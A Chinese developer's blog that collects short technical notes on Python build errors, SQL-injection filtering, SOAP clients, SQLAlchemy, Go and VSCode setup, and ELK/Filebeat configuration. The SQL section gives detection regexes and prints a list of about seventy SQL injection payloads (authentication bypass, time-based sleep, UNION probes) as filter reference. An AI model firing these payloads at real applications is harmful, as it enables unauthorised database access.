晨曦's Blog

This is a window to the soul

错误 / 修复

此错误是利用 python:3.9-alpine 在打包 Docker 镜像时遇到的

1
2
3
4
5
c/_cffi_backend.c:15:10: fatal error: ffi.h: No such file or directory
15 | #include <ffi.h>
| ^~~~~~~
compilation terminated.
error: command '/usr/bin/gcc' failed with exit code 1

修复

1
apk add --no-cache libffi-dev

UbuntuCentos 中应该

1
2
3
apt-get install libffi-dev

yum install libffi-devel

错误 / 修复

错误:

1
pip._vendor.urllib3.exceptions.ReadTimeoutError: HTTPSConnectionPool(host='files.pythonhosted.org', port=443): Read timed out.

修复:

1
pip3 install --default-timeout=1000 --no-cache-dir -r requirements.txt

或者是利用国内的 pypi

SQL 防注入

一般在项目中我们不太会去注意 SQL 注入的问题,因为我们会使用 ORM,而 ORM 在实现的过程中也会帮我做 SQL 注入过滤;但有的时候 ORM 没法满足我们的需求,这时可能就会手撸原生 SQL 来执行

注意!!极其不建议使用拼接 sql 语句,这样很容易引起 sql 注入!!

如果必须要自己拼接 sql 语句,请使用 mysql.escape 方法;或者利用正则来对输入参数进行过滤。以 Python为例利用 re.compile 生成正则表达式,然后利用 re.search 进行判断,实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pattern = re.compile(
r"(%27)|(\')|(\-\-)|(%23)|(#)|" # Regex for detection of SQL meta-characters
r"\w*((%27)|(\'))\s+((%6F)|o|(%4F))((%72)|r|(%52))\s*|" # Modified regex for detection of SQL meta-characters eg: ' or 1 = 1' detect word 'or',
r"((%3D)|(=))[^\n]*((%27)|(\')|(\-\-)|(%3B)|(;))" # Regex for typical SQL Injection attack eg: '= 1 --'
r"((%27)|(\'))union|" # Regex for detecting SQL Injection with the UNION keyword
r"((%27)|(\'))select|" # Regex for detecting SQL Injection with the UNION keyword
r"((%27)|(\'))insert|" # Regex for detecting SQL Injection with the UNION keyword
r"((%27)|(\'))update|" # Regex for detecting SQL Injection with the UNION keyword
r"((%27)|(\'))drop", # Regex for detecting SQL Injection with the UNION keyword
re.IGNORECASE,
)
r = pattern.search("' OR 1 -- -")
if r:
return True

也有一种直接简单粗暴的方法,那就是直接过滤关键字:

1
pattern = r"\b(exec|insert|union|select|drop|grant|alter|delete|update|count|chr|mid|truncate|delclare)\b|(;)"

Payload

常用 SQL 注入 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
--- 通用SQL注入payload

' or '
-- or #
' OR '1
' OR 1 -- -
OR "" = "
" OR 1 = 1 -- -"
' OR '' = '
'='
'LIKE'
'=0--+
OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2

--- 基于时间的payload

,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--

--- 基于通用错误的payload

OR 1=1
OR 1=1#
OR x=y#
OR 1=1--
OR x=x--
OR 3409=3409 AND ('pytW' LIKE 'pytW
HAVING 1=1
HAVING 1=1#
HAVING 1=0--
AND 1=1--
AND 1=1 AND '%'='
WHERE 1=1 AND 1=0--
%' AND 8310=8310 AND '%'='

--- 基于认证的payload

' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
or true--
" or true--
' or true--
") or true--
') or true--
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/

--- Order by和UNION的payload

1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+
1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+
1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --
-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --
-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@
1 AND (SELECT * FROM Users) = 1
' AND MID(VERSION(),1,1) = '5';
' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --

常用正则表达式参考

客户端

Python 中的 Webservice 客户端 suds 常用的有两个包

suds-py3

suds

目前选择的是 suds,安装

1
pip install suds

解析

具体实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import xml.etree.ElementTree as ET

from suds.client import Client

url = "http://172.19.7.7/PSIGW/PeopleSoftServiceListeningConnector/PSFT_HR/CST_INF_SERVICE.13.wsdl"
client = Client(url)

print(client)

result = client.service.CST_INF_JOBCODE_OUT(
BATCH_NUM="xxx",
IFAC_CODE="xxx",
REQUEST_DATA="<![CDATA[<ROOT><CST_PAGENUMBER>1</CST_PAGENUMBER><CST_PAGESIZE>300</CST_PAGESIZE><RUN_TYPE>ALL</RUN_TYPE><TOKENID>xxx</TOKENID><SYSTEM>xxx</SYSTEM></ROOT>]]>",
)

root = ET.fromstring(result["RETURN_DATA"])
for child in root:
print(child[2].text)

先看看看 client 中的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
Suds ( https://fedorahosted.org/suds/ )  version: 1.0.0

Service ( CST_INF_SERVICE ) tns="http://xmlns.oracle.com/Enterprise/Tools/services/CST_INF_SERVICE.13"
Prefixes (2)
ns0 = "http://xmlns.oracle.com/Enterprise/Tools/schemas/CST_INF_REQ.V1"
ns1 = "http://xmlns.oracle.com/Enterprise/Tools/schemas/CST_INF_RSP.V1"
Ports (1):
(CST_INF_SERVICE_Port)
Methods (1):
CST_INF_JOBCODE_OUT(xs:string BATCH_NUM, xs:string IFAC_CODE, xs:string REQUEST_DATA)
Types (2):
ns0:REQUEST
ns1:RESPONSE

如上所示 CST_INF_JOBCODE_OUT 方法有 3 个参数而且都是 string 类型,这里重点说说 REQUEST_DATA,原生请求 Xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:erp="http://xmlns.oracle.com/Enterprise/Tools/schemas/CST_INF_R
EQ.V1">
<soapenv:Header/>
<soapenv:Body>
<erp:REQUEST>
<erp:BATCH_NUM>xxx</erp:BATCH_NUM>
<erp:IFAC_CODE>xxx</erp:IFAC_CODE>
<erp:REQUEST_DATA>
<![CDATA[
<ROOT>
<CST_PAGENUMBER>100</CST_PAGENUMBER>
<CST_PAGESIZE>1</CST_PAGESIZE>
<RUN_TYPE>ALL</RUN_TYPE>
<TOKENID>xxx</TOKENID>
<SYSTEM>xxx</SYSTEM>
</ROOT>]]>
</erp:REQUEST_DATA>
</erp:REQUEST>
</soapenv:Body>
</soapenv:Envelope>

对于 REQUEST_DATA 中的 CDATA 包裹部分应该选择原样传入

1
2
3
4
5
6
7
8
<![CDATA[
<ROOT>
<CST_PAGENUMBER>100</CST_PAGENUMBER>
<CST_PAGESIZE>1</CST_PAGESIZE>
<RUN_TYPE>ALL</RUN_TYPE>
<TOKENID>xxx</TOKENID>
<SYSTEM>xxx</SYSTEM>
</ROOT>]]>

最后是对 xml 的解析可以利用 ElementTree,具体可以参考

ElementTree

自适应将 Bytes 格式化为可读性更高的单位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
formatSize(bytes) {
const sizes = ["Bytes", "KB", "MB", "GB", "TB"];
if (bytes == 0) {
return bytes + " " + sizes[0];
}
let flag = "";
if (bytes < 0) {
bytes = Math.abs(bytes);
flag = "-";
}
const i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)));
if (i == 0) {
return bytes + " " + sizes[i];
}
return flag + (bytes / Math.pow(1024, i)).toFixed(4) + " " + sizes[i];
},

效果图如下:

count

1
2
3
4
5
select(func.count())
.select_from(table)
.where(
table.c.status == 1,
)

count if

1
2
3
4
5
6
7
func.COUNT(
func.IF(
user.c.province == "重庆",
True,
None,
)
).label("province"),

exists

1
2
3
4
5
6
7
8
9
select(["*"])
.select_from(table1)
.where(
table1.c.status == 1,
exists()
.where(
table1.c.id == table2.c.table1_id,
),
)

如果要使用 not exists 只需要在 exists() 前加上 ~ 变成 ~exists()

动态条件

1
2
3
conditions = []
conditions.append(user.c.sex == 1)
select(["*"]).select_from(user).where(and_(*conditions))

update

1
2
3
4
5
user.update()
.where(
user.c.id == 1
)
.values(score=user.c.score + 1)

order_by

1
2
3
4
#  升序
.order_by(user.c.id)
# 降序
.order_by(user.c.id.desc())

未完待续…

环境

GO 的环境安装可以使用 brew

1
brew install go

接下来只需要配置一下对应的环境信息

1
2
3
4
5
export GOPATH=/Users/jakehu/Documents/go
export GOBIN=$GOPATH/bin
export PATH=$PATH:$GOBIN
export GOPROXY=https://goproxy.cn,direct
export GO111MODULE=on

VSCODE

利用 goimports 格式化 import 排序使用

1
go install -v golang.org/x/tools/cmd/goimports@latest

利用 golangci-lint 做静态代码检查

1
go install -v github.com/golangci/golangci-lint/cmd/golangci-lint@latest

vscode 配置

1
2
3
4
5
6
7
8
9
10
11
// GO
"go.toolsManagement.autoUpdate": true,
"go.useLanguageServer": true,
"gopls": {
"experimentalWorkspaceModule": true,
},
"go.autocompleteUnimportedPackages": true,
"go.formatTool": "gofmt",
"go.lintTool": "golangci-lint",
"go.lintOnSave": "workspace",
// GO

前言

CuratorElastic 官方发布的一个管理 Elasticsearch 索引的工具,可以完成许多索引生命周期的管理工作,例如清理创建时间超过 7 天的索引、每天定时备份指定的索引、定时将索引从热节点迁移至冷节点等等。

安装

PIP

如果没有安装 pip 先安装 pip

1
wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo

利用阿里的 epel

1
yum -y install python-pip

Curator

Curator 本身是基于 Python 实现,所以可以使用 pip 安装

1
pip install elasticsearch-curator

升级

1
pip install -U elasticsearch-curator

查看版本

1
2
# curator --version
curator, version 5.8.4

使用

配置

新建配置文件 curator.yml,具体格式可以参考官方默认的配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
---
client:
hosts:
- 127.0.0.1
port: 9200
url_prefix:
use_ssl: False
certificate:
client_cert:
client_key:
ssl_no_validate: False
username: elastic # elastic用户
password: password # elastic密码
timeout: 30
master_only: False

logging:
loglevel: INFO
logfile:
logformat: default
blacklist: ['elasticsearch', 'urllib3']

删除

新建执行动作文件 delete_indices.yml,比如我执行删除7天前的索引

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
---
actions:
1:
action: delete_indices
description: "delete the index 7 days ago"
filters:
- filtertype: pattern
kind: prefix
value: filebeat-nginx-error-
- filtertype: age
source: name
direction: older
timestring: '%Y.%m.%d'
unit: days
unit_count: 7

执行

1
curator --config /etc/curator/config.yml /etc/curator/action/delete_indices.yml

执行结果如下:


未完待续

安装

全局安装 flake8

1
/usr/local/bin/python3 -m pip install -U flake8

全局安装 black

1
/usr/local/bin/python3 -m pip install -U black

配置

1
2
3
4
5
6
"python.languageServer": "Pylance",
"python.linting.flake8Enabled": true,
"python.formatting.provider": "black",
"python.linting.pylintEnabled": false, // 关闭pylint工具
"python.formatting.blackPath": "/usr/local/bin/black",
"python.linting.flake8Path": "/usr/local/bin/flake8",

flake8black 可选参数:

1
2
3
4
5
6
7
"python.linting.flake8Args": [
"--max-line-length=248", // 设置单行最长字符限制
"--ignore=W191, E266, W504"
],
"python.formatting.blackArgs": [
"--line-length=128" // 格式化时单行最长长度
],

排序 import 语句

1
/usr/local/bin/python3 -m pip install -U isort

配置

1
2
3
4
5
"[python]": {
"editor.codeActionsOnSave": {
"source.organizeImports": true
}
},

也可以配置用于全局

1
2
3
"editor.codeActionsOnSave": {
"source.organizeImports": true
},

前记

在一些软件中如 ES,时间格式都是 UTC 时间格式。记一记如何将 UTC 时间格式转换为本地北京时间格式。

原理很简单:将UTC转化为datetime时间格式->将转化的datetime时间加8小时->格式化为想要的格式

实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import datetime

'''
UTC转北京时间
'''

def utc_format(utc_time, utc_time_format='%Y-%m-%dT%H:%M:%S.000Z'):
utc_datetime = datetime.datetime.strptime(utc_time, utc_time_format)
local_datetime = utc_datetime + datetime.timedelta(hours=8)
local_time_format = "%Y-%m-%d %H:%M:%S"
local_time = local_datetime.strftime(local_time_format)
return local_time

print(utc_format(utc_time="2021-10-26T09:34:31.000Z"))

前言

ELK 对于日志管理来说毫无疑问是最好的选择,但有的时候觉得 Logstash 比较的笨重,相反 Filebeat 也不失为一个好的选择。

此次安装的版本为 7.15.0

安装

对于几个组件的安装都是非常的简单,可以直接利用官方打好的包就好

Elasticsearch 安装文档

Kibana 安装文档

Filebeat 安装文档

安装时建议通过 RPM 包安装,这样能固定版本减少一些兼容性问题如:

1
2
3
wget https://artifacts.elastic.co/downloads/kibana/kibana-7.15.0-x86_64.rpm
shasum -a 512 kibana-7.15.0-x86_64.rpm
sudo rpm --install kibana-7.15.0-x86_64.rpm

配置

Elasticsearch

如果只是单机版的话 Elasticsearch 配置倒是不用过多修改,接下来配置一下 Elasticsearch 开启密码访问就可以了

设置密码文档

安全配置参考

1
xpack.security.enabled: true # 普通的安全设置

最后再通过下面命令设置各个用户的密码

1
$ /usr/share/elasticsearch/bin/elasticsearch-setup-passwords auto

上面命令会设置各个内置用户的密码

内置用户文档

Kibana

Kibana 只需要配置如下几个项目即可

1
2
3
4
5
6
server.port: 5601 # 端口
server.host: "0.0.0.0" # 允许远程连接
elasticsearch.hosts: ["http://localhost:9200"] # ES的地址
elasticsearch.username: "kibana_system" # 上面设置的用户和密码
elasticsearch.password: "password"
i18n.locale: "zh-CN" # 页面支持中文

Filebeat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
output.elasticsearch:
# Array of hosts to connect to.
hosts: ["localhost:9200"]
username: "elastic"
password: "elastic"
index: "filebeat-%{+yyyy.MM.dd}"
indices:
- index: "filebeat-nginx-access-%{+yyyy.MM.dd}"
when.equals:
fields.type: nginx.access
- index: "filebeat-nginx-error-%{+yyyy.MM.dd}"
when.equals:
fields.type: nginx.error

setup.ilm.enabled: false # 索引生命周期
setup.ilm.check_exists: false
setup.template.enabled: true # 索引模版
setup.template.name: "filebeat"
setup.template.pattern: "filebeat-*"

对于 Filebeat 的设置,这里的 username 需要用 elastic 用户。如果用 beats_system 用户的话会提示 403 无权限。

具体可以参考:Security error with beats_system account and Filebeat with system module

Filebeat Module

nginx 为例打开 nginx.accessnginx.error

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
vi /etc/filebeat/modules.d/nginx.yml

access:
enabled: true
var.paths: ["/var/log/nginx/access.log"]
input:
fields:
type: nginx.access

error:
enabled: true
var.paths: ["/var/log/nginx/error.log"]
input:
fields:
type: nginx.error

索引

进入 Kibana 管理页面,新建索引
Management->Stack Management->索引模式->创建索引模式

Pipeline

配置到索引时就已经可以在 Kibana 中看到有 nginx 默认的日志进来,但如果我们有自定义的日志格式,就需要用到 Pipeline

Pipeline 所存放的位置 /usr/share/filebeat/module/nginx/access/ingest/pipeline.yml

也可通过开发工具查询 GET _ingest/pipeline/filebeat-7.15.0-nginx-access-pipeline

Grok Debugger

0%